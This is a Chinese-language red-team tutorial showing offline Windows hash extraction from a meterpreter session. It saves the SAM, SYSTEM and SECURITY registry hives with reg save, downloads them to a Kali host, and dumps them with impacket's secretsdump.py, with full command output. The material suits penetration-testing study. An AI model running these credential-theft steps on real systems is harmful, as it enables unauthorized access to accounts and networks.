

专注APT攻击与防御

<https://micropoor.blogspot.com/>

很多环境下，不允许上传或者使用mimikatz。而针对非域控的单机离线提取hash显得尤为重要。

在meterpreter shell命令切到交互式cmd命令。

```
meterpreter > shell
Process 3228 created.
Channel 1 created.
Microsoft Windows [版本 5.2.3790]
(C) 版权所有 1985-2003 Microsoft Corp.

C:\>
```

reg save 方式使得需要下载的目标机hash文件更小。

```
reg save HKLM\SYSTEM sys.hiv
reg save HKLM\SAM sam.hiv
reg save hklm\security security.hiv
```




```
meterpreter > shell
Process 3228 created.
Channel 1 created.
Microsoft Windows [版本 5.2.3790]
(C) 版权所有 1985-2003 Microsoft Corp.

C:\>reg save HKLM\SYSTEM sys.hiv
reg save HKLM\SYSTEM sys.hiv
操作成功完成。

C:\>reg save HKLM\SAM sam.hiv
reg save HKLM\SAM sam.hiv
操作成功完成。

C:\>reg save hklm\security security.hiv
reg save hklm\security security.hiv
操作成功完成。

C:\>
```

 sam.hiv	40 KB	HIV 文件	2018-12-29 2:14	A
 security.hiv	64 KB	HIV 文件	2018-12-29 2:14	A
 sys.hiv	2,992 KB	HIV 文件	2018-12-29 2:14	A

meterpreter下自带download功能。

```
meterpreter > download sam.hiv /tmp
[*] Downloading: sam.hiv -> /tmp/sam.hiv
[*] Downloaded 40.00 KiB of 40.00 KiB (100.0%): sam.hiv -> /tmp/sam.hiv
[*] download : sam.hiv -> /tmp/sam.hiv
meterpreter > download security.hiv /tmp
[*] Downloading: security.hiv -> /tmp/security.hiv
[*] Downloaded 64.00 KiB of 64.00 KiB (100.0%): security.hiv -> /tmp/security.hi
[*] download : security.hiv -> /tmp/security.hiv
meterpreter > download security.hiv /tmp
[*] Downloading: security.hiv -> /tmp/security.hiv
[*] skipped : security.hiv -> /tmp/security.hiv
meterpreter > download sys.hiv /tmp
[*] Downloading: sys.hiv -> /tmp/sys.hiv
[*] Downloaded 1.00 MiB of 2.92 MiB (34.22%): sys.hiv -> /tmp/sys.hiv
[*] Downloaded 2.00 MiB of 2.92 MiB (68.45%): sys.hiv -> /tmp/sys.hiv
[*] Downloaded 2.92 MiB of 2.92 MiB (100.0%): sys.hiv -> /tmp/sys.hiv
[*] download : sys.hiv -> /tmp/sys.hiv
meterpreter >
```

```
root@John:/tmp# ls |grep hiv
sam.hiv
security.hiv
sys.hiv
root@John:/tmp#
```

### 离线提取：

本季用到的是impacket的 secretsdump.py。Kali默认路径：

[/root/impacket/examples/secretsdump.py](#)

### 命令如下：

```
1 root@John:/tmp# python /root/impacket/examples/secretsdump.py -sam sa
m.hiv -security security.hiv -system sys.hiv LOCAL
```

